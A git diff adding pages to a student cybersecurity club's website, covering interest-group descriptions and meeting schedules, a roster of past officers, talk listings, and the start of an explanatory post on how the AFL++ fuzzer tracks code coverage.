students with West Coast tech giants and government agencies via Zoom. It allows for distraction-free, 1:1 technical screenings with employers who cannot travel to Rochester, ensuring geography doesn't limit career opportunities. diff --git a/src/content/groups/collegiate-cyber-defense-competition.mdx b/src/content/groups/collegiate-cyber-defense-competition.mdx new file mode 100644 index 00000000..cfec125b --- /dev/null +++ b/src/content/groups/collegiate-cyber-defense-competition.mdx @@ -0,0 +1,19 @@ +--- +name: "Collegiate Cyber Defense Competition" +summary: "Our CCDC team trains throughout the year for competitions that focus on securing and managing a fictitious corporate network." +leads: + - name: "James Southcott" +logo: "@/assets/icons/castle.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Research + +
diff --git a/src/content/groups/collegiate-penetration-testing-competition.mdx b/src/content/groups/collegiate-penetration-testing-competition.mdx new file mode 100644 index 00000000..333ebe4e --- /dev/null +++ b/src/content/groups/collegiate-penetration-testing-competition.mdx @@ -0,0 +1,19 @@ +--- +name: "Collegiate Penetration Testing Competition" +summary: "The Collegiate Penetration Testing Competition (CPTC) is a national collegiate competition that focuses on the offensive aspects of cybersecurity." +logo: "@/assets/icons/cctv.svg" +leads: + - name: "Kilroy" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Research + +
diff --git a/src/content/groups/incident-response.mdx b/src/content/groups/incident-response.mdx new file mode 100644 index 00000000..9071272b --- /dev/null +++ b/src/content/groups/incident-response.mdx @@ -0,0 +1,30 @@ +--- +name: "Incident Response" +summary: "The incident response interest group focuses on all topics related to cyber incidents, and effective blue teaming." +meetings: + - day: "Tuesday" + start: "5:30 PM" + end: "6:30 PM" + location: "CYB-2780" +leads: + - name: "Chloe" + - name: "Eva" +logo: "@/assets/icons/shield-alert.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/offensive-security.mdx b/src/content/groups/offensive-security.mdx new file mode 100644 index 00000000..49bc740d --- /dev/null +++ b/src/content/groups/offensive-security.mdx @@ -0,0 +1,31 @@ +--- +name: "Offensive Security" +summary: "We develop robust red team tools, infrastructure, and implants to play the role of an effective adversary in a red vs blue competition setting." +meetings: + - day: "Wednesday" + start: "8:15 PM" + end: "9:15 PM" + location: "CYB-2750" +leads: + - name: "Camden" + - name: "James" +logo: "@/assets/icons/swords.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
+ diff --git a/src/content/groups/operations.mdx b/src/content/groups/operations.mdx new file mode 100644 index 00000000..90a7f4d1 --- /dev/null +++ b/src/content/groups/operations.mdx @@ -0,0 +1,30 @@ +--- +name: "Operations" +summary: "The operations interest group focuses on various topics related to RITSEC's infrastructure. These topics could be related to hardware, virtualization, networking, automation, cloud computing, and server management." +meetings: + - day: "Monday" + start: "6:30 PM" + end: "7:30 PM" + location: "CYB-2780" +leads: + - name: "John" + - name: "Lukas" +logo: "@/assets/icons/sparkles.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/ot-security.mdx b/src/content/groups/ot-security.mdx new file mode 100644 index 00000000..c5a47592 --- /dev/null +++ b/src/content/groups/ot-security.mdx @@ -0,0 +1,30 @@ +--- +name: "OT Security" +summary: "Operational Technology (OT) Security protects the computers and machines that control real-world things like power plants, water treatment facilities, traffic lights, and factory machines." +meetings: + - day: "Wednesday" + start: "7:00 PM" + end: "8:00 PM" + location: "CYB-2780" +leads: + - name: "Lucas" + - name: "Lukas" +logo: "@/assets/icons/ev-charger.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/physical-security.mdx b/src/content/groups/physical-security.mdx new file mode 100644 index 00000000..45f44a22 --- /dev/null +++ b/src/content/groups/physical-security.mdx @@ -0,0 +1,31 @@ +--- +name: "Physical Security" +summary: "You will learn to pick locks, alternative entry methods and many other things that computing security experts don't tend to think of when they are securing a system." +meetings: + - day: "Thursday" + start: "6:00 PN" + end: "7:00 PM" + location: "CYB-2750" +leads: + - name: "Joey" + - name: "Abigail" +logo: "@/assets/icons/fan.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
+ diff --git a/src/content/groups/reversing.mdx b/src/content/groups/reversing.mdx new file mode 100644 index 00000000..1d92c13e --- /dev/null +++ b/src/content/groups/reversing.mdx @@ -0,0 +1,36 @@ +--- +name: "Reversing" +summary: "Focusing on binary applications, such as assembly, executable formats, and malware tactics." +meetings: + - day: "Monday" + start: "6:00 PM" + end: "8:00 PM" + location: "CYB-2750" +leads: + - name: "Tanush" + - name: "Thomas" +logo: "@/assets/icons/rotate-cw-square.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Reversing + + The plan for this semester is going to creating your own decomplier for ARM 64 from scratch thats the entire/only project for the semester and we will work on it incrementally throughout the semester. + + We'll start with reading ELF binaries, then (optionally) writing an aarch64 dissassembler, and then finally implementing the lifting algorithms from asm to pseudo-c. + + We're expecting it to take a while! +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/rvapt.mdx b/src/content/groups/rvapt.mdx new file mode 100644 index 00000000..91ad0a8a --- /dev/null +++ b/src/content/groups/rvapt.mdx @@ -0,0 +1,31 @@ +--- +name: "RVAPT" +summary: "At RVAPT, we learn how to find and exploit vulnerabilities in networks and associated services by hands on custom labs." +meetings: + - day: "Wednesday" + start: "5:00 PM" + end: "6:00 PM" + location: "CYB-2750" +leads: + - name: "Rahel" + - name: "Masaki" +logo: "@/assets/icons/plane.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
+ diff --git a/src/content/groups/team-contagion.mdx b/src/content/groups/team-contagion.mdx new file mode 100644 index 00000000..957bb6b6 --- /dev/null +++ b/src/content/groups/team-contagion.mdx @@ -0,0 +1,30 @@ +--- +name: "Team Contagion" +summary: "Contagion represents RITSEC in a variety of Capture the Flag (CTF) competitions. We compete at different ranges of difficulty and on both the national and international levels." +meetings: + - day: "Thursday" + start: "6:00 PM" + end: "7:00 PM" + location: "CYB-2780" +leads: + - name: "Manav" + - name: "Aidan" +logo: "@/assets/icons/biohazard.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/vulnerability-research.mdx b/src/content/groups/vulnerability-research.mdx new file mode 100644 index 00000000..833194dc --- /dev/null +++ b/src/content/groups/vulnerability-research.mdx @@ -0,0 +1,36 @@ +--- +name: "Vulnerability Research" +summary: "To introduce members of the club to the concepts of vulnerability and security research. This includes concepts such as bug bounties, code analysis, and fuzzing." +meetings: + - day: "Monday" + start: "8:00 PM" + end: "10:00 PM" + location: "CYB-2750" + - day: "Thursday" + start: "7:00 PM" + end: "10:00 PM" + location: "CYB-2750" +leads: + - name: "Aleksi" + - name: "Tanush" + - name: "Kam" + - name: "Adam" +logo: "@/assets/icons/flask-conical.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/wicys.mdx b/src/content/groups/wicys.mdx new file mode 100644 index 00000000..a01fa398 --- /dev/null +++ b/src/content/groups/wicys.mdx @@ -0,0 +1,34 @@ +--- +name: "WiCys" +summary: "The WiCyS RIT Student Chapter is an all-inclusive interest group within RITSEC dedicated to making RIT’s Computing Security program more equitable." +leads: + - name: "Emmalee" + - name: "Anushka" + - name: "Arshia" + - name: "Lily" + - name: "Ariana" +meetings: + - day: "Monday" + start: "5:30 PM" + end: "6:30 PM" + location: "GOL-1710" +logo: "@/assets/icons/megaphone.svg" +website: "https://wicysrit.wordpress.com/" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/wireless.mdx b/src/content/groups/wireless.mdx new file mode 100644 index 00000000..c61743b8 --- /dev/null +++ b/src/content/groups/wireless.mdx @@ -0,0 +1,29 @@ +--- +name: "Wireless" +summary: "The Wireless Interest Group (aka Wiggles) focuses on all thing wireless. We focus more on cybersecurity related topics in wireless but we also go outside of this realm covering all things wireless and RF." +meetings: + - day: "Thursday" + start: "4:00 PM" + end: "5:00 PM" + location: "CYB-2780" +leads: + - name: "Raina" +logo: "@/assets/icons/antenna.svg" +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/groups/zero-to-hero.mdx b/src/content/groups/zero-to-hero.mdx new file mode 100644 index 00000000..6887b443 --- /dev/null +++ b/src/content/groups/zero-to-hero.mdx @@ -0,0 +1,25 @@ +--- +name: "Zero-to-Hero" +summary: "Learn a little bit of everything. Build the foundation you need to go above and beyond in cybersecurity. Discover what your passion is in cybersecurity." +leads: + - name: "Will" +logo: "@/assets/icons/crown.svg" +active: false +--- + +import ResearchList from "@/components/ResearchList.astro"; +import Schedule from "@/components/Schedule.astro"; + +
+ ## About Us +
+ +
+ ## Schedule + +
+ +
+ ## Research + +
diff --git a/src/content/legacy-eboard.yml b/src/content/legacy-eboard.yml new file mode 100644 index 00000000..a0aedea0 --- /dev/null +++ b/src/content/legacy-eboard.yml @@ -0,0 +1,539 @@ +- id: 2024-2025-ritsec + term: 2024-2025 + organization: RITSEC + eboard: + - position: President + name: Kasey Kiggins + - position: Vice President + name: Rachel Leone + - position: Public Relations + name: Kip Rath + - position: Secretary + name: Lukas Peters + - position: Head of Education + name: Leah Kvares + - position: Head of Research + name: Will D'Andrade + - position: ISTS + name: Drew Young + - position: IRSeC CA + name: Maxim Kochnev + - position: CTF CA + name: Chase Killorin + - position: Treasurer + name: David Girard + - position: Operations Lead + name: John Arrandale + - position: Tech Lead + name: Dan LaChance + +- id: 2023-2024-ritsec + term: 2023-2024 + organization: RITSEC + eboard: + - position: President + name: Anthony Ioppolo + - position: Vice President + name: Kenneth Anderson + - position: Public Relations + name: Sophie Larson + - position: Secretary + name: Raina Freeman + - position: Head of Education + name: Kasey Kiggins + - position: Head of Research + name: Chase Killorin + - position: ISTS CA + name: Zach Price + - position: IRSeC CA + name: Jack Audino + - position: CTF CA + name: Rachel Leone + - position: Treasurer + name: Albie Snyder + - position: Operations Lead + name: Michael Scalzetti + - position: Tech Lead + name: Alex Noble + +- id: 2022-2023-ritsec + term: 2022-2023 + organization: RITSEC + eboard: + - position: President + name: Bradley Harker + - position: Vice President + name: Max Fusco + - position: Public Relations + name: Mohammad Eshan + - position: Secretary + name: Sarah Dill + - position: Head of Education + name: Kenneth Anderson + - position: Head of Research + name: Anthony Ioppolo + - position: ISTS CA + name: Michael Vaughan + - position: IRSeC CA + name: Jacob Doll + - position: CTF CA + name: Zach Price + - position: Treasurer + name: Bailey Powers + - position: Operations Lead + name: Abdulmalik Banaser + - position: Tech Lead + name: Alex Beaver + +- id: 2021-2022-ritsec + term: 2021-2022 + organization: RITSEC + eboard: + - position: President + name: Enzo DeStephano + - position: Head of Education + name: Brayden Werner + - position: Head of Research + name: Tenchi Mata + - position: ISTS Competition Architect + name: Alison Nakai-Lackey + - position: IRSeC CA + name: Jason Howe + - position: Treasurer + name: Olivia Gallucci + - position: Secretary + name: Jazmin Morales + - position: Director of Public Relations + name: Bradley Harker + - position: Operations Lead + name: Philomena Gray + - position: Tech Lead + name: Max Fusco + +- id: 2020-2021-ritsec + term: 2020-2021 + organization: RITSEC + eboard: + - position: President + name: Jonathan Bauer + - position: Head of Education + name: Phillip Babey + - position: Head of Research + name: Enzo DeStephano + - position: ISTS Competition Architect + name: Daniel Szafran + - position: IRSeC CA + name: Joshua Niemann + - position: Treasurer + name: Spencer Roth + - position: Secretary + name: Jason Howe + - position: Director of Public Relations + name: Danielle Schloss + - position: Operations Lead + name: Kyle Schleich + - position: Tech Lead + name: Ayobami 'Emmanuel' Adewale + +- id: 2019-2020-ritsec + term: 2019-2020 + organization: RITSEC + eboard: + - position: President + name: Shannon McHale + - position: Head of Education + name: Owen Siebert + - position: Head of Research + name: Ian Furr + - position: ISTS Competition Architect + name: Jack McKenna + - position: IRSEC CA + name: Quintin Walters + - position: Treasurer + name: Amanda Brown + - position: Secretary + name: Jon Bauer + - position: Director of Public Relations + name: Adrianna Visca + - position: Operations Lead + name: Evan Mikulski/Kyle Schleich + - position: Tech Lead + name: Sunggwan Choi + +- id: 2018-2019-ritsec + term: 2018-2019 + organization: RITSEC + eboard: + - position: President + name: Micah Martin + - position: Head of Education + name: Russell Babarsky + - position: Head of Research + name: Nick O'Brien + - position: Competition Architect + name: Sean Newman + - position: Treasurer + name: Shannon McHale + - position: Secretary + name: Jack McKenna + - position: Director of Public Relations + name: Alicen Dipiano + - position: Operations Lead + name: Brandon Adler + - position: Tech Lead + name: Scott Brink + +- id: 2017-2018-rc3 + term: 2017-2018 + organization: RC3 + eboard: + - position: President + name: Sean Sun + - position: Vice President + name: Ohan Fillbach + - position: Competition Architect + name: Kristen Tumacder + - position: Secretary + name: Sean Newman + - position: Treasurer + name: Michael Milkovich + - position: Treasurer + name: Shannon McHale + - position: Web Admin + name: Bryson McIver + - position: Operations + name: Susan Lunn + - position: Faculty Advisors + name: Megan Fritts + - position: Faculty Advisors + name: Bill Stackpole + +- id: 2016-2017-rc3 + term: 2016-2017 + organization: RC3 + eboard: + - position: President + name: Ben Bornholm + - position: Vice President + name: Nicholas Piazza + - position: Tech Lead + name: Brad Campbell + - position: Competition Architect + name: Sarah Jacobus + - position: Competition Architect + name: Sean Sun + - position: Web + name: Sean Sun + - position: Web + name: Ohan Fillbach + - position: Treasurer + name: Michael Milkovich + - position: Secretary + name: Kristen Tumacder + +- id: 2015-2016-rc3 + term: 2015-2016 + organization: RC3 + eboard: + - position: President + name: Scott Vincent + - position: Vice President + name: Sean McConnell + - position: Tech Lead + name: Ed Mead + - position: Competition Architect + name: Luke Matarazzo + - position: Web + name: Jaime Geiger + - position: Treasurer + name: Ben Bornholm + - position: Secretary + name: Pooja Sharma + +- id: 2014-2015-rc3 + term: 2014-2015 + organization: RC3 + eboard: + - position: President + name: Jon Barber + - position: President + name: Jaime Geiger + - position: Vice President + name: Jaime Geiger + - position: Vice President + name: Nicholas Piazza + - position: VP of Administration + name: Scott Vincent + - position: VP of Technology + name: Sean McConnell + - position: Treasurer + name: Ben Bornholm + - position: Secretary + name: Sean McConnell + - position: Secretary + name: Luke Christian + +- id: 2013-2014-rc3 + term: 2013-2014 + organization: RC3 + eboard: + - position: Founder + name: Brandon Maur + - position: Founder + name: Thomas Desrosiers + - position: President + name: Zuhdi Abdelkarim + - position: Vice President + name: Daniyal Syed + - position: VP of Technology + name: Jon Barber + +- id: 2017-2018-sparsa + term: 2017-2018 + organization: SPARSA + eboard: + - position: President + name: Micah Martin + - position: VP of Practices + name: Kyle Carretto + - position: VP of Research + name: Cameron Clark + - position: Treasurer + name: Josh Stuts + - position: Secretary + name: Russell Babarsky + - position: Faculty Advisor + name: Bo Yuan + +- id: 2016-2017-sparsa + term: 2016-2017 + organization: SPARSA + eboard: + - position: President + name: Jesse Buonanno + - position: VP of Practices + name: Cameron Clark + - position: VP of Research + name: Dave Kukfa + - position: Treasurer + name: Brandon Adler + - position: Secretary + name: Jon Myers + - position: Faculty Advisor + name: Bo Yuan + +- id: 2015-2016-sparsa + term: 2015-2016 + organization: SPARSA + eboard: + - position: President + name: Corrine Smith + - position: VP of Research + name: Tyler Fornes + - position: Treasurer + name: Jesse Buonanno + - position: Secretary + name: Peter Muller + - position: Graduate Advisor + name: Jared Stroud + - position: Graduate Advisor + name: Bryan Harmat + - position: Faculty Advisor + name: Bo Yuan + +- id: 2014-2015-sparsa + term: 2014-2015 + organization: SPARSA + eboard: + - position: President + name: Bryan Harmat + - position: VP of Practices + name: Jared Stroud + - position: VP of Research + name: Jon Barber + - position: VP of Research + name: Stanley Chan + - position: Treasurer + name: Mike O’Gorman + - position: Treasurer + name: Peter Muller + - position: Secretary + name: Corinne Smith + - position: Graduate Advisor + name: Stanley Chan + - position: Faculty Advisor + name: Bo Yuan + +- id: 2013-2014-sparsa + term: 2013-2014 + organization: SPARSA + eboard: + - position: President + name: Ben Kelley + - position: VP of Practices + name: Bryan Harmat + - position: VP of Research + name: Lucas Duffey + - position: VP of Research + name: Stanley Chan + - position: Treasurer + name: Claire McKenna + - position: Secretary + name: Jared Stroud + - position: Graduate Advisor + name: Ben Andrews + - position: Faculty Advisor + name: Bo Yuan + +- id: 2012-2013-sparsa + term: 2012-2013 + organization: SPARSA + eboard: + - position: President + name: Stanley Chan + - position: VP of Practices + name: Ben Kelley + - position: VP of Research + name: Brandon Myers + - position: Treasurer + name: Lucas Duffey + - position: Secretary + name: Kayla Green + - position: Graduate Advisor + name: Chaim Sanders + - position: Faculty Advisors + name: Gary Scarborough + - position: Faculty Advisors + name: Bo Yuan + +- id: 2011-2012-sparsa + term: 2011-2012 + organization: SPARSA + eboard: + - position: President + name: Ryan Peck + - position: VP of Practices + name: Neil Zimmerman + - position: VP of Research + name: Chaim Sanders + - position: Treasurer + name: Lucas Duffey + - position: Secretary + name: Stanley Chan + - position: Faculty Advisor + name: Gary Scarborough + +- id: 2010-2011-sparsa + term: 2010-2011 + organization: SPARSA + eboard: + - position: President + name: Jacob Ruppal + - position: VP of Practices + name: Chaim Sanders + - position: Treasurer + name: Ryan Peck + - position: Secretary + name: Michael Tortora + - position: Faculty Advisor + name: Gary Scarborough + +- id: 2009-2010-sparsa + term: 2009-2010 + organization: SPARSA + eboard: + - position: President + name: Conner Finlay + - position: Vice President of Practices + name: Jacob Ruppal + - position: Vice President of Research + name: Josh Smith + - position: Treasurer + name: Chaim Sanders + - position: Secretary + name: Neil Zimmerman + +- id: 2007-2008-sparsa + term: 2007-2008 + organization: SPARSA + eboard: + - position: President + name: Alex Getty + - position: Vice President of Practices + name: Connor Finlay + - position: Vice President of Research + name: Josh Smith + - position: Treasurer + name: Adam Burke + - position: Secretary + name: Jacob Ruppal + +- id: 2006-2007-sparsa + term: 2006-2007 + organization: SPARSA + eboard: + - position: President + name: Jason Batchelor + - position: Vice President of Practices + name: Alex Getty + - position: Vice President of Research + name: Nick Carpenter + +- id: 2005-2006-sparsa + term: 2005-2006 + organization: SPARSA + eboard: + - position: Vice President of Practices + name: Jason Batchelor + +- id: 2004-2005-sparsa + term: 2004-2005 + organization: SPARSA + eboard: + - position: President + name: Jeff Volante + - position: Vice President of Practices + name: Jim Farrelly + - position: Vice President of Research + name: Sara Berg + - position: Treasurer + name: Brian Luteran + - position: Secretary + name: Jason Batchelor + +- id: 2003-2004-sparsa + term: 2003-2004 + organization: SPARSA + eboard: + - position: President + name: Keith LeClaire + +- id: 2002-2003-sparsa + term: 2002-2003 + organization: SPARSA + eboard: + - position: President + name: Steve Frank + - position: Vice President of Practices + name: Jeff Volante + - position: Vice President of Research + name: Keith LeClaire + - position: Treasurer + name: Katie Hathaway + - position: Secretary + name: Jim Farrelly + +- id: 2001-2002-sparsa + term: 2001-2002 + organization: SPARSA + eboard: + - position: President + name: Jared Campbell + - position: Vice President of Practices + name: Matt Hile + - position: Vice President of Research + name: Gena Daley + - position: Treasurer + name: Reina Smith + - position: Secretary + name: Aksh Sehgal diff --git a/src/content/research/10-crypto-mistakes-everone-makes/index.mdx b/src/content/research/10-crypto-mistakes-everone-makes/index.mdx new file mode 100644 index 00000000..9db7ca8f --- /dev/null +++ b/src/content/research/10-crypto-mistakes-everone-makes/index.mdx @@ -0,0 +1,9 @@ +--- +title: "10 crypto mistakes everone makes" +authors: + - name: "Nicholas O'Brien" +date: 2018-10-31 +group: "general" +summary: "10 crypto mistakes everone makes" +video: "https://www.youtube.com/watch?v=94Od9-wXzYc" +--- diff --git a/src/content/research/2-dollar-duckies/index.mdx b/src/content/research/2-dollar-duckies/index.mdx new file mode 100644 index 00000000..a1c3b58b --- /dev/null +++ b/src/content/research/2-dollar-duckies/index.mdx @@ -0,0 +1,9 @@ +--- +title: "$2 Dollar Duckies" +authors: + - name: "Max Fusco" +date: 2022-12-22 +group: "general" +summary: "$2 Dollar Duckies" +video: "https://www.youtube.com/watch?v=L9YW84a5Gbo" +--- diff --git a/src/content/research/3ds-hacking-with-christian-voorhies/index.mdx b/src/content/research/3ds-hacking-with-christian-voorhies/index.mdx new file mode 100644 index 00000000..a1e8cc5f --- /dev/null +++ b/src/content/research/3ds-hacking-with-christian-voorhies/index.mdx @@ -0,0 +1,9 @@ +--- +title: "3DS Hacking with Christian Voorhies" +authors: + - name: "RITSEC" +date: 2022-12-22 +group: "general" +summary: "3DS Hacking with Christian Voorhies" +video: "https://www.youtube.com/watch?v=rbispFuc33w" +--- diff --git a/src/content/research/a-date-with-data/index.mdx b/src/content/research/a-date-with-data/index.mdx new file mode 100644 index 00000000..379834e2 --- /dev/null +++ b/src/content/research/a-date-with-data/index.mdx @@ -0,0 +1,9 @@ +--- +title: "A Date with Data" +authors: + - name: "Nathaniel Beckstead" +date: 2018-09-21 +group: "general" +summary: "A Date with Data" +video: "https://www.youtube.com/watch?v=nHAwYPVRwbc" +--- diff --git a/src/content/research/a-freshie-s-first-siem/index.mdx b/src/content/research/a-freshie-s-first-siem/index.mdx new file mode 100644 index 00000000..3bad46c9 --- /dev/null +++ b/src/content/research/a-freshie-s-first-siem/index.mdx @@ -0,0 +1,12 @@ +--- +title: "A Freshie's First SIEM" +authors: + - name: "Emmalee Carpenter" + - name: "Anushka Tilara" + - name: "Eva Witten" + - name: "Zifeng Li" +date: 2025-04-08 +group: "general" +summary: "A Freshie's First SIEM" +video: "https://www.youtube.com/watch?v=-31T1YKVy1U" +--- diff --git a/src/content/research/a-history-of-cyber-attacks-and-cyber-pirates/index.mdx b/src/content/research/a-history-of-cyber-attacks-and-cyber-pirates/index.mdx new file mode 100644 index 00000000..5412b155 --- /dev/null +++ b/src/content/research/a-history-of-cyber-attacks-and-cyber-pirates/index.mdx @@ -0,0 +1,9 @@ +--- +title: "A History of Cyber Attacks and Cyber Pirates" +authors: + - name: "Adam Braccia" +date: 2023-02-27 +group: "general" +summary: "A History of Cyber Attacks and Cyber Pirates" +video: "https://www.youtube.com/watch?v=YD3uciTBshg" +--- diff --git a/src/content/research/a-moderate-approach-to-privacy/index.mdx b/src/content/research/a-moderate-approach-to-privacy/index.mdx new file mode 100644 index 00000000..1fdecb41 --- /dev/null +++ b/src/content/research/a-moderate-approach-to-privacy/index.mdx @@ -0,0 +1,9 @@ +--- +title: "A Moderate Approach To Privacy" +authors: + - name: "Will D'Andrade" +date: 2024-09-28 +group: "general" +summary: "A Moderate Approach To Privacy" +video: "https://www.youtube.com/watch?v=dLjS-466pZo" +--- diff --git a/src/content/research/a-motivational-sermon-on-redteam-rootkits/index.mdx b/src/content/research/a-motivational-sermon-on-redteam-rootkits/index.mdx new file mode 100644 index 00000000..8370354f --- /dev/null +++ b/src/content/research/a-motivational-sermon-on-redteam-rootkits/index.mdx @@ -0,0 +1,10 @@ +--- +title: "A motivational sermon on redteam rootkits" +authors: + - name: "Jack McKenna" + - name: "Ranye Cafaro" +date: 2022-12-22 +group: "general" +summary: "Jack \"Hulto\" McKenna and Rayne Cafaro provide a detailed explanation of how rootkits work and what they're capable of. They provide details on how in-line function hooking works as well as trampolining within the kernel.\n\nSlides:\nhttps://docs.google.com/presentation/d/11ujYR0bFeMVzXFLcCgS8LB3wUkKqwLzfq8uo_xlwTSs/edit?usp=sharing" +video: "https://www.youtube.com/watch?v=wVG2IUaDV40" +--- diff --git a/src/content/research/abcs-of-security/index.mdx b/src/content/research/abcs-of-security/index.mdx new file mode 100644 index 00000000..8ac1f313 --- /dev/null +++ b/src/content/research/abcs-of-security/index.mdx @@ -0,0 +1,9 @@ +--- +title: "ABCs of Security" +authors: + - name: "Shannon McHale" +date: 2022-12-22 +group: "general" +summary: "ABCs of Security" +video: "https://www.youtube.com/watch?v=XmJKP2U0THA" +--- diff --git a/src/content/research/advanced-rick-rolling-intermediate-phishing/index.mdx b/src/content/research/advanced-rick-rolling-intermediate-phishing/index.mdx new file mode 100644 index 00000000..4f237f24 --- /dev/null +++ b/src/content/research/advanced-rick-rolling-intermediate-phishing/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Advanced Rick Rolling Intermediate Phishing" +authors: + - name: "Asa Horn" +date: 2025-03-20 +group: "general" +summary: "Advanced Rick Rolling Intermediate Phishing" +video: "https://www.youtube.com/watch?v=C33uZ9xnGSM" +--- diff --git a/src/content/research/adventures-blue-teaming-ists/index.mdx b/src/content/research/adventures-blue-teaming-ists/index.mdx new file mode 100644 index 00000000..6134d9f7 --- /dev/null +++ b/src/content/research/adventures-blue-teaming-ists/index.mdx @@ -0,0 +1,9 @@ +--- +title: "Adventures Blue Teaming ISTS" +authors: + - name: "Bill Demirkapi" +date: 2022-12-22 +group: "general" +summary: "Adventures Blue Teaming ISTS" +video: "https://www.youtube.com/watch?v=Zd6PtQZLCR0" +--- diff --git a/src/content/research/aes-ecb-crypto-ctf-challenge/index.mdx b/src/content/research/aes-ecb-crypto-ctf-challenge/index.mdx new file mode 100644 index 00000000..521d08ab --- /dev/null +++ b/src/content/research/aes-ecb-crypto-ctf-challenge/index.mdx @@ -0,0 +1,9 @@ +--- +title: "AES-ECB Crypto CTF Challenge" +authors: + - name: "Chase Killorin" +date: 2023-10-20 +group: "general" +summary: "AES-ECB Crypto CTF Challenge" +video: "https://www.youtube.com/watch?v=UxpltjIMIbI" +--- diff --git a/src/content/research/afl-under-the-hood/LLVM.png b/src/content/research/afl-under-the-hood/LLVM.png new file mode 100644 index 00000000..dc03a256 Binary files /dev/null and b/src/content/research/afl-under-the-hood/LLVM.png differ diff --git a/src/content/research/afl-under-the-hood/auto_init_globals_final_loc.png b/src/content/research/afl-under-the-hood/auto_init_globals_final_loc.png new file mode 100644 index 00000000..809081cd Binary files /dev/null and b/src/content/research/afl-under-the-hood/auto_init_globals_final_loc.png differ diff --git a/src/content/research/afl-under-the-hood/index.mdx b/src/content/research/afl-under-the-hood/index.mdx new file mode 100644 index 00000000..632827b4 --- /dev/null +++ b/src/content/research/afl-under-the-hood/index.mdx @@ -0,0 +1,1530 @@ +--- +title: A Look at AFL++ Under The Hood +authors: + - name: Sharad Khanna +date: 2023-04-13 +group: vulnerability research +summary: AFL++ +--- + +
+## How this post is structured + +The objective of this post is to allow anyone to gain an understanding of AFL at the level they want. I want to cover AFL at both a usage level and an internals level. + +At the end of this article, there are In-Depth sections that cover AFL in even more depth. + +One additional note. In the code snippets, I often use `...` to replace certain code. This is to increase readability by eliminating the edge case code. I have linked the source code on all code snippets if you are interested in reading that code. + +This is not a user's guide to AFL. For that, I highly recommend checking out [Fuzzing101](https://github.com/antonio-morales/Fuzzing101) by GitHub Security Lab. This post is more targeted at those interested in hacking on AFL or learning a little bit more about the world's favorite fuzzer. + +**Disclaimer: I not a developer on the AFL++ project. This is just my analysis of the source code.** + +
+ +
+## What is AFL++ and Coverage-Based Fuzzing? +AFL, or the current variation AFL++, is a state-of-the-art fuzzer used to fuzz a wide variety of binaries. Almost every fuzzing campaign today is done using AFL or some variation of AFL. + +AFL is not a random-input fuzzer. AFL does something called coverage-based fuzzing. The idea behind coverage-based fuzzing is to keep track of what areas of the binary are executing or coverage. By keeping track of this information, we are able to figure out which inputs lead to which parts of the code executing. With this, we can develop a database of inputs that cover not only a small subset of the codebase but the entire codebase. This would allow us to find errors everywhere in the code, not only in the most commonly used codepaths. + +However, how do we build that database of inputs - or **corpus**? The answer is iteration. Typically, we start with a few manually generated seed inputs. These seed inputs are then **mutated** (Randomly changed) to see if they cause a change in coverage. If they cause a change in coverage (Among other potential factors), they are deemed interesting and stored in our corpus for further mutation. Eventually, after iteratively mutating on our growing corpus, we will have a corpus that covers the entire codebase. + +Hopefully, we will be able to mutate an input in such a way that we will generate an error in the codepath targeted by that input. + +Let's see an example of coverage given some example code: + +```c +int main(){ + input = get_input(); //stub that represents getting the input. Could be via a file, via stdin, or some other means. + if(condition A){ + ...code A... + }else if(condition B){ + ...code B .. + }else{ + ...code C... + } + return 0; +} +``` + +Suppose we enter our seed input into the program. This input - `seed` - leads to `code C` being executed. + +Suppose we then mutate `seed` in some way to generate `seed_A`. This `seed_A`, upon being inputted, leads to `code A` being executed. This is new. With the knowledge that `seed_A` leads to `code A` being executed, we can store `seed_A` in our corpus and mutate it further to allow for new, different code to execute. + +This iterative process of finding new, "interesting" input and building on it is what makes coverage-based fuzzing so powerful. + +
+ +
